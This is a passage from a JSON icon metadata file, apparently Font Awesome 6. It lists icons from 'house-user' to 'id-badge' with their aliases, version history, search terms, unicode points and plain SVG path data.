        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80.8 136.5C104.9 93.8 152.6 64 209 64c16.9 0 33.1 2.7 48.2 7.7c16.8 5.5 34.9-3.6 40.4-20.4s-3.6-34.9-20.4-40.4C255.8 3.8 232.8 0 209 0C95.2 0 0 88 0 200c0 91.6 53.5 172.1 142.2 194.1c13.4 3.8 27.5 5.9 42.2 5.9c.7 0 1.4 0 2.1-.1c1.8 0 3.7 .1 5.5 .1l0 0c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0c-22.4 15.5-49.9 26.1-77.4 26.1c0 0-.1 0-.1 0c-12.4 0-24-1.5-34.9-4.3C121.6 320.2 96 287 96 248c0-48.5 39.5-88 88.4-88c13.5 0 26.1 3 37.5 8.3c16 7.5 35.1 .6 42.5-15.5s.6-35.1-15.5-42.5C229.3 101.1 207.4 96 184.4 96c-40 0-76.4 15.4-103.6 40.5zm252-18.1c-8.1 6-12.8 15.5-12.8 25.6V265c1.6 1 3.3 2 4.8 3.1c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c5.8 1.4 11.2 3.4 16.2 6.2c.7-2.7 1.1-5.5 1.1-8.4l-.4-144c0-10-4.7-19.4-12.7-25.5l-95.5-72c-11.4-8.6-27.1-8.6-38.5 0l-96 72zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M80.8 136.5C104.9 93.8 152.6 64 209 64c16.9 0 33.1 2.7 48.2 7.7c16.8 5.5 34.9-3.6 40.4-20.4s-3.6-34.9-20.4-40.4C255.8 3.8 232.8 0 209 0C95.2 0 0 88 0 200c0 91.6 53.5 172.1 142.2 194.1c13.4 3.8 27.5 5.9 42.2 5.9c.7 0 1.4 0 2.1-.1c1.8 0 3.7 .1 5.5 .1l0 0c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0c-22.4 15.5-49.9 26.1-77.4 26.1c0 0-.1 0-.1 0c-12.4 0-24-1.5-34.9-4.3C121.6 320.2 96 287 96 248c0-48.5 39.5-88 88.4-88c13.5 0 26.1 3 37.5 8.3c16 7.5 35.1 .6 42.5-15.5s.6-35.1-15.5-42.5C229.3 101.1 207.4 96 184.4 96c-40 0-76.4 15.4-103.6 40.5zm252-18.1c-8.1 6-12.8 15.5-12.8 25.6V265c1.6 1 3.3 2 4.8 3.1c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c5.8 1.4 11.2 3.4 16.2 6.2c.7-2.7 1.1-5.5 1.1-8.4l-.4-144c0-10-4.7-19.4-12.7-25.5l-95.5-72c-11.4-8.6-27.1-8.6-38.5 0l-96 72zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z"
      }
    },
    "free": ["solid"]
  },
  "house-user": {
    "aliases": {
      "names": ["home-user"]
    },
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["house"]
    },
    "styles": ["solid"],
    "unicode": "e1b0",
    "label": "House User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24zM352 224a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm-96 96c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H256z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24zM352 224a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm-96 96c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H256z"
      }
    },
    "free": ["solid"]
  },
  "houzz": {
    "changes": ["4.4.0", "5.0.0", "5.0.9", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f27c",
    "label": "Houzz",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z"
      }
    },
    "free": ["brands"]
  },
  "hryvnia-sign": {
    "aliases": {
      "names": ["hryvnia"],
      "unicodes": {
        "composite": ["20b4"],
        "secondary": ["10f6f2"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Hryvnia Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f6f2",
    "label": "Hryvnia Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M121.9 116.2C138.3 103.1 158.7 96 179.6 96H223c27.1 0 49 21.9 49 49c0 11.5-4 22.4-11.1 31H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H155.5l-50.6 28.9c-1.7 1-3.4 2-5.1 3.1H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H52.3c-2.8 9.9-4.3 20.4-4.3 31c0 62.4 50.6 113 113 113h43.4c35.5 0 70-12.1 97.7-34.3L308 441c13.8-11 16-31.2 5-45s-31.2-16-45-5l-5.9 4.7c-16.4 13.1-36.7 20.2-57.7 20.2H161c-27.1 0-49-21.9-49-49c0-11.5 4-22.4 11.1-31H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H228.5l50.6-28.9c1.7-1 3.4-2 5.1-3.1H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H331.7c2.8-10 4.3-20.4 4.3-31c0-62.4-50.6-113-113-113H179.6c-35.5 0-70 12.1-97.7 34.3L76 71c-13.8 11-16 31.2-5 45s31.2 16 45 5l5.9-4.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M121.9 116.2C138.3 103.1 158.7 96 179.6 96H223c27.1 0 49 21.9 49 49c0 11.5-4 22.4-11.1 31H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H155.5l-50.6 28.9c-1.7 1-3.4 2-5.1 3.1H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H52.3c-2.8 9.9-4.3 20.4-4.3 31c0 62.4 50.6 113 113 113h43.4c35.5 0 70-12.1 97.7-34.3L308 441c13.8-11 16-31.2 5-45s-31.2-16-45-5l-5.9 4.7c-16.4 13.1-36.7 20.2-57.7 20.2H161c-27.1 0-49-21.9-49-49c0-11.5 4-22.4 11.1-31H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H228.5l50.6-28.9c1.7-1 3.4-2 5.1-3.1H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H331.7c2.8-10 4.3-20.4 4.3-31c0-62.4-50.6-113-113-113H179.6c-35.5 0-70 12.1-97.7 34.3L76 71c-13.8 11-16 31.2-5 45s31.2 16 45 5l5.9-4.7z"
      }
    },
    "free": ["solid"]
  },
  "html5": {
    "changes": ["3.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f13b",
    "label": "HTML 5 Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z"
      }
    },
    "free": ["brands"]
  },
  "hubspot": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b2",
    "label": "HubSpot",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z"
      }
    },
    "free": ["brands"]
  },
  "hurricane": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f751"]
      }
    },
    "changes": [
      "5.5.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "coriolis effect",
        "eye",
        "storm",
        "tropical cyclone",
        "typhoon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f751",
    "label": "Hurricane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 208C0 104.4 75.7 18.5 174.9 2.6C184 1.2 192 8.6 192 17.9V81.2c0 8.4 6.5 15.3 14.7 16.5C307 112.5 384 199 384 303.4c0 103.6-75.7 189.5-174.9 205.4c-9.2 1.5-17.1-5.9-17.1-15.2V430.2c0-8.4-6.5-15.3-14.7-16.5C77 398.9 0 312.4 0 208zm288 48A96 96 0 1 0 96 256a96 96 0 1 0 192 0zm-96-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 208C0 104.4 75.7 18.5 174.9 2.6C184 1.2 192 8.6 192 17.9V81.2c0 8.4 6.5 15.3 14.7 16.5C307 112.5 384 199 384 303.4c0 103.6-75.7 189.5-174.9 205.4c-9.2 1.5-17.1-5.9-17.1-15.2V430.2c0-8.4-6.5-15.3-14.7-16.5C77 398.9 0 312.4 0 208zm288 48A96 96 0 1 0 96 256a96 96 0 1 0 192 0zm-96-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "i": {
    "aliases": {
      "unicodes": {
        "composite": ["69"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter I", "Latin Small Letter I", "letter"]
    },
    "styles": ["solid"],
    "unicode": "49",
    "label": "I",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96h96V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V96h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96h96V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V96h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 32z"
      }
    },
    "free": ["solid"]
  },
  "i-cursor": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f246"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["editing", "i-beam", "type", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f246",
    "label": "I Cursor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M.1 29.3C-1.4 47 11.7 62.4 29.3 63.9l8 .7C70.5 67.3 96 95 96 128.3V224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v95.7c0 33.3-25.5 61-58.7 63.8l-8 .7C11.7 449.6-1.4 465 .1 482.7s16.9 30.7 34.5 29.2l8-.7c34.1-2.8 64.2-18.9 85.4-42.9c21.2 24 51.2 40.1 85.4 42.9l8 .7c17.6 1.5 33.1-11.6 34.5-29.2s-11.6-33.1-29.2-34.5l-8-.7C185.5 444.7 160 417 160 383.7V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V128.3c0-33.3 25.5-61 58.7-63.8l8-.7c17.6-1.5 30.7-16.9 29.2-34.5S239-1.4 221.3 .1l-8 .7C179.2 3.6 149.2 19.7 128 43.7c-21.2-24-51.2-40-85.4-42.9l-8-.7C17-1.4 1.6 11.7 .1 29.3z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M.1 29.3C-1.4 47 11.7 62.4 29.3 63.9l8 .7C70.5 67.3 96 95 96 128.3V224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v95.7c0 33.3-25.5 61-58.7 63.8l-8 .7C11.7 449.6-1.4 465 .1 482.7s16.9 30.7 34.5 29.2l8-.7c34.1-2.8 64.2-18.9 85.4-42.9c21.2 24 51.2 40.1 85.4 42.9l8 .7c17.6 1.5 33.1-11.6 34.5-29.2s-11.6-33.1-29.2-34.5l-8-.7C185.5 444.7 160 417 160 383.7V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V128.3c0-33.3 25.5-61 58.7-63.8l8-.7c17.6-1.5 30.7-16.9 29.2-34.5S239-1.4 221.3 .1l-8 .7C179.2 3.6 149.2 19.7 128 43.7c-21.2-24-51.2-40-85.4-42.9l-8-.7C17-1.4 1.6 11.7 .1 29.3z"
      }
    },
    "free": ["solid"]
  },
  "ice-cream": {
    "aliases": {
      "unicodes": {
        "composite": ["1f368"],
        "secondary": ["10f810"]
      }
    },
    "changes": [
      "5.7.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "chocolate",
        "cone",
        "cream",
        "dessert",
        "frozen",
        "ice",
        "ice cream",
        "scoop",
        "sorbet",
        "sweet",
        "vanilla",
        "yogurt"
      ]
    },
    "styles": ["solid"],
    "unicode": "f810",
    "label": "Ice Cream",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M367.1 160c.6-5.3 .9-10.6 .9-16C368 64.5 303.5 0 224 0S80 64.5 80 144c0 5.4 .3 10.7 .9 16H80c-26.5 0-48 21.5-48 48s21.5 48 48 48h53.5 181H368c26.5 0 48-21.5 48-48s-21.5-48-48-48h-.9zM96 288L200.8 497.7c4.4 8.8 13.3 14.3 23.2 14.3s18.8-5.5 23.2-14.3L352 288H96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M367.1 160c.6-5.3 .9-10.6 .9-16C368 64.5 303.5 0 224 0S80 64.5 80 144c0 5.4 .3 10.7 .9 16H80c-26.5 0-48 21.5-48 48s21.5 48 48 48h53.5 181H368c26.5 0 48-21.5 48-48s-21.5-48-48-48h-.9zM96 288L200.8 497.7c4.4 8.8 13.3 14.3 23.2 14.3s18.8-5.5 23.2-14.3L352 288H96z"
      }
    },
    "free": ["solid"]
  },
  "icicles": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ad"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cold", "frozen", "hanging", "ice", "seasonal", "sharp"]
    },
    "styles": ["solid"],
    "unicode": "f7ad",
    "label": "Icicles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M75.8 304.8L1 35.7c-.7-2.5-1-5-1-7.5C0 12.6 12.6 0 28.2 0H482.4C498.8 0 512 13.2 512 29.6c0 1.6-.1 3.3-.4 4.9L434.6 496.1c-1.5 9.2-9.5 15.9-18.8 15.9c-9.2 0-17.1-6.6-18.7-15.6L336 160 307.2 303.9c-1.9 9.3-10.1 16.1-19.6 16.1c-9.2 0-17.2-6.2-19.4-15.1L240 192 210.6 368.2c-1.5 9.1-9.4 15.8-18.6 15.8s-17.1-6.7-18.6-15.8L144 192 115.9 304.3c-2.3 9.2-10.6 15.7-20.1 15.7c-9.3 0-17.5-6.2-20-15.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M75.8 304.8L1 35.7c-.7-2.5-1-5-1-7.5C0 12.6 12.6 0 28.2 0H482.4C498.8 0 512 13.2 512 29.6c0 1.6-.1 3.3-.4 4.9L434.6 496.1c-1.5 9.2-9.5 15.9-18.8 15.9c-9.2 0-17.1-6.6-18.7-15.6L336 160 307.2 303.9c-1.9 9.3-10.1 16.1-19.6 16.1c-9.2 0-17.2-6.2-19.4-15.1L240 192 210.6 368.2c-1.5 9.1-9.4 15.8-18.6 15.8s-17.1-6.7-18.6-15.8L144 192 115.9 304.3c-2.3 9.2-10.6 15.7-20.1 15.7c-9.3 0-17.5-6.2-20-15.2z"
      }
    },
    "free": ["solid"]
  },
  "icons": {
    "aliases": {
      "names": ["heart-music-camera-bolt"],
      "unicodes": {
        "secondary": ["10f86d"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bolt", "emoji", "heart", "image", "music", "photo", "symbols"]
    },
    "styles": ["solid"],
    "unicode": "f86d",
    "label": "Icons",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.3 7.3C507.7 13.3 512 22.4 512 32V176c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V71L352 90.2V208c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V64c0-15.3 10.8-28.4 25.7-31.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM74.7 304l11.8-17.8c5.9-8.9 15.9-14.2 26.6-14.2h61.7c10.7 0 20.7 5.3 26.6 14.2L213.3 304H240c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V352c0-26.5 21.5-48 48-48H74.7zM192 408a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM478.7 278.3L440.3 368H496c6.7 0 12.6 4.1 15 10.4s.6 13.3-4.4 17.7l-128 112c-5.6 4.9-13.9 5.3-19.9 .9s-8.2-12.4-5.3-19.2L391.7 400H336c-6.7 0-12.6-4.1-15-10.4s-.6-13.3 4.4-17.7l128-112c5.6-4.9 13.9-5.3 19.9-.9s8.2 12.4 5.3 19.2zm-339-59.2c-6.5 6.5-17 6.5-23 0L19.9 119.2c-28-29-26.5-76.9 5-103.9c27-23.5 68.4-19 93.4 6.5l10 10.5 9.5-10.5c25-25.5 65.9-30 93.9-6.5c31 27 32.5 74.9 4.5 103.9l-96.4 99.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M500.3 7.3C507.7 13.3 512 22.4 512 32V176c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V71L352 90.2V208c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V64c0-15.3 10.8-28.4 25.7-31.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM74.7 304l11.8-17.8c5.9-8.9 15.9-14.2 26.6-14.2h61.7c10.7 0 20.7 5.3 26.6 14.2L213.3 304H240c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V352c0-26.5 21.5-48 48-48H74.7zM192 408a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM478.7 278.3L440.3 368H496c6.7 0 12.6 4.1 15 10.4s.6 13.3-4.4 17.7l-128 112c-5.6 4.9-13.9 5.3-19.9 .9s-8.2-12.4-5.3-19.2L391.7 400H336c-6.7 0-12.6-4.1-15-10.4s-.6-13.3 4.4-17.7l128-112c5.6-4.9 13.9-5.3 19.9-.9s8.2 12.4 5.3 19.2zm-339-59.2c-6.5 6.5-17 6.5-23 0L19.9 119.2c-28-29-26.5-76.9 5-103.9c27-23.5 68.4-19 93.4 6.5l10 10.5 9.5-10.5c25-25.5 65.9-30 93.9-6.5c31 27 32.5 74.9 4.5 103.9l-96.4 99.9z"
      }
    },
    "free": ["solid"]
  },
  "id-badge": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2c1"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["address", "contact", "identification", "license", "profile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2c1",
    "label": "Id Badge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zm96 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM144 64h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zm96 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM144 64h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767620,
